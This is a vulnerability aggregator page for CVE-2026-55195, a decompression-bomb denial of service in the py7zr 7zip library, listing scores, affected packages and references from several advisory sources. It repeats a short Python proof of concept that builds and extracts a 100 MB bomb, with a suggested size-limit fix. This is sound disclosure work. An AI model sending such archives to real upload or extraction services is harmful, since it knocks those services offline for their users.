CVE-2026-55195
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
- Record
CVE-2026-55195- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-409
- Updated
- 2026-11-02
EUVDEUVD-2026-42396
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
- Record
EUVD-2026-42396- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gjrg-mpp7-g774
6.9
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
- Record
GHSA-gjrg-mpp7-g774- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-409
- Updated
- 2026-11-02
NVD
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
- Record
CVE-2026-55195- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-409
- Updated
- 2026-11-02
OSV
8.7
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
- Record
CVE-2026-55195- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-409
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-55195
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
- Record
DEBIAN-CVE-2026-55195- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-gjrg-mpp7-g774
6.9
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
- Record
GHSA-gjrg-mpp7-g774- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-409
- Updated
- 2026-11-02
OSVPYSEC-2026-2972
6.9
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
- Record
PYSEC-2026-2972- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-55195
8.7
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.
- Record
UBUNTU-CVE-2026-55195- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11112-1 No score
python311-py7zr-1.1.3-1.1 on GA media
These are all security issues fixed in the python311-py7zr-1.1.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11112-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21159-1 No score
Security update for python-py7zr
This update for python-py7zr fixes the following issues:
Changes in python-py7zr:
- CVE-2026-23879: crafted malicious symbolic link chains in an archive can lead to an arbitrary file write (bsc#1268669)
- CVE-2026-55195: unchecked extraction size can cause a denial of service (bsc#1268665)
- CVE-2026-55206: crafted .7z archive with a large numstreams value can cause a denial of service (bsc#1268666)
- Record
openSUSE-SU-2026:21159-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
py7zrPyPI |
through 1.1.2 | 1.1.3 |
py7zrDebian:12 |
All versions, plus listed versions 0.11.3+dfsg-50.11.3+dfsg-60.11.3+dfsg-70.11.3+dfsg-80.21.0+dfsg-1 Show 21 moreShow less0.21.0+dfsg-20.21.1+dfsg-10.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+11.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-11.1.3+dfsg-21.1.3+dfsg-31.1.3+dfsg-41.1.4+dfsg-1 |
None known |
py7zrDebian:13 |
All versions, plus listed versions 0.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+1 Show 14 moreShow less1.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-11.1.3+dfsg-21.1.3+dfsg-31.1.3+dfsg-41.1.4+dfsg-1 |
None known |
py7zrDebian:14 |
before 1.1.3+dfsg-1, plus listed versions 0.22.0+dfsg-11.0.0+dfsg1-11.0.0+dfsg1-21.0.0+dfsg1-31.0.0+dfsg1-3~bpo13+1 Show 9 moreShow less1.0.0+dfsg1-41.0.0+dfsg1-51.1.0+dfsg-1~exp11.1.2+dfsg-11.1.2+dfsg-1~exp11.1.2+dfsg-21.1.2+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-11.1.2-1+really1.1.0+dfsg-2 |
1.1.3+dfsg-1 |
py7zrPyPI |
before 1.1.3, plus listed versions 0.0.30.0.40.0.50.0.60.0.7 Show 45 moreShow less0.0.80.1.00.1.10.1.20.1.30.1.40.1.50.1.60.10.00.10.0a10.10.0a20.10.0a30.10.0a40.10.0a50.10.0a60.10.0b10.10.0b30.10.10.10.20.11.00.11.0a10.11.0b10.11.0b20.11.0b30.11.10.11.20.11.30.12.00.13.00.13.10.14.00.14.10.15.00.15.10.15.20.16.00.16.10.16.20.16.30.16.40.17.00.17.10.17.20.17.30.17.4 |
1.1.3 |
py7zrUbuntu:22.04:LTS |
All versions, plus listed versions 0.11.3+dfsg-10.11.3+dfsg-1ubuntu10.11.3+dfsg-20.11.3+dfsg-30.11.3+dfsg-40.11.3+dfsg-4ubuntu0.1 |
None known |
py7zrUbuntu:24.04:LTS |
All versions, plus listed versions 0.11.3+dfsg-60.11.3+dfsg-70.11.3+dfsg-80.11.3+dfsg-8build1 |
None known |
py7zrUbuntu:25.10 |
All versions, plus listed versions 0.22.0+dfsg-11.0.0+dfsg1-1 |
None known |
py7zrUbuntu:26.10 |
All versions, plus listed versions 1.1.2+dfsg-11.1.2-1+really1.1.0+dfsg-21.1.3+dfsg-1 |
None known |
py7zrUbuntu:26.04:LTS |
All versions, plus listed versions 1.0.0+dfsg1-11.0.0+dfsg1-31.0.0+dfsg1-41.0.0+dfsg1-51.1.2+dfsg-1 |
None known |
python-py7zropenSUSE:Tumbleweed |
before 1.1.3-1.1 | 1.1.3-1.1 |
python-py7zropenSUSE:Leap 16.0 |
before 1.0.0-bp160.2.1 | 1.0.0-bp160.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55195 is a high vulnerability (CVSS 8.7) in Miurahr Py7zr, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in py7zr 1.1.3.
References
github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774
github.com/miurahr/py7zr/commit/28faf107b64374fa5a02bfb93aa2024e281ca97b
github.com/miurahr/py7zr/releases/tag/v1.1.3
github.com/advisories/GHSA-gjrg-mpp7-g774
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55195.json
nvd.nist.gov/vuln/detail/CVE-2026-55195
Show 11 moreShow less
security-tracker.debian.org/tracker/CVE-2026-55195
github.com/miurahr/py7zr
pypi.org/project/py7zr
ubuntu.com/security/CVE-2026-55195
cve.org/CVERecord?id=CVE-2026-55195
suse.com/security/cve/CVE-2026-23879
suse.com/security/cve/CVE-2026-55195
suse.com/security/cve/CVE-2026-55206
bugzilla.suse.com/1268665
bugzilla.suse.com/1268666
bugzilla.suse.com/1268669
Left out here: 114 versions. The JSON record has them.